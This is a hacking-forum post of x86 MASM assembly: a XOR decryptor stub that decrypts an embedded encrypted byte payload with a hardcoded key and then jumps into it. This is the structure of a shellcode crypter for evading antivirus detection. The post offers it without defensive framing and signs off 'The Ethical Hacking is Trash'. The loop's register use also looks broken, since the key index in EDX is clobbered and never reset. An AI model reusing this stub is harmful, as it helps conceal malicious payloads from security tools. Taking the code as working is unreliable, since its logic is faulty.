X0R encryption

  • 0 Respuestas
  • 4066 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ZanGetsu

  • *
  • Ex-Staff
  • *****
  • Mensajes: 329
  • Actividad:
    0%
  • Country: 00
  • Reputación 0
  • I ZanGetsu
  • Skype: thenicox
  • Twitter: black_zangetsu
    • Ver Perfil

X0R encryption

  • en: Julio 27, 2017, 09:41:58 am
Código: ASM
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4.  
  5.  
  6. include \masm32\include\windows.inc
  7. include \masm32\include\kernel32.inc
  8. includelib \masm32\lib\kernel32.lib
  9. include \masm32\include\user32.inc
  10. includelib \masm32\lib\user32.lib
  11.  
  12.  
  13. .data
  14.    Key db "uidoisbossuidoisboss"               ;key for decrypting
  15.    KeyLength equ $- offset Key
  16. .data?
  17.    Buffer db ?
  18. .code
  19. start:
  20.    jmp Go
  21. Payload:  
  22.    db 00bh, 064h, 08dh, 07fh, 032h, 0d2h, 015h,\ ;
  23.       069h, 022h, 039h, 00fh, 064h, 0d8h, 055h,\ ;
  24.       038h, 06ah, 032h, 059h, 030h, 08eh, 04ch,\ ;
  25.       065h, 077h, 061h, 08ch, 081h, 094h, 095h,\ ;
  26.       0c6h, 063h, 053h, 01fh, 01ah, 009h, 001h,\ ;
  27.       010h, 025h, 059h, 01ah, 046h, 05ah, 05fh,\ ;
  28.       008h, 06ah, 08dh, 0a1h, 09eh, 09bh, 099h   ;
  29.    db 038h, 00bh, 054h, 040h, 05eh, 017h, 06ah,\ ;
  30.       090h,                             ;
  31.    
  32.  
  33.  
  34. Go:
  35.    mov ebx, KeyLength         ;setting the Keylength
  36.    mov ecx, 0               ;zeroing the main iterator
  37.    mov edx, 0               ;zeroing the key iterator
  38.    lea eax, Key
  39. Cipher:  
  40.    cmp byte Payload[ecx], 090h       ;checking if the byte isn't the NOP
  41.    je Payload               ;if so jump to Payload
  42.    cmp ebx, edx            ;checking if the key iterator didn't reach the length limit
  43.    jg Skip                  ;if not the skip zeroing the next instruction
  44.    lea eax, Key            ;zero-ing the key iterator
  45. Skip:
  46.    mov DL, [eax]
  47.    xor Payload[ecx], DL      ;xoring the byte of payload
  48.    inc ecx                  ;Iterator++
  49.    inc edx                  ;KeyIterator++
  50.    inc eax
  51.    jmp Cipher               ;returning to the beggining of the loop
  52. end start
  53.  
  54. The Ethical Hacking is Trash
  55.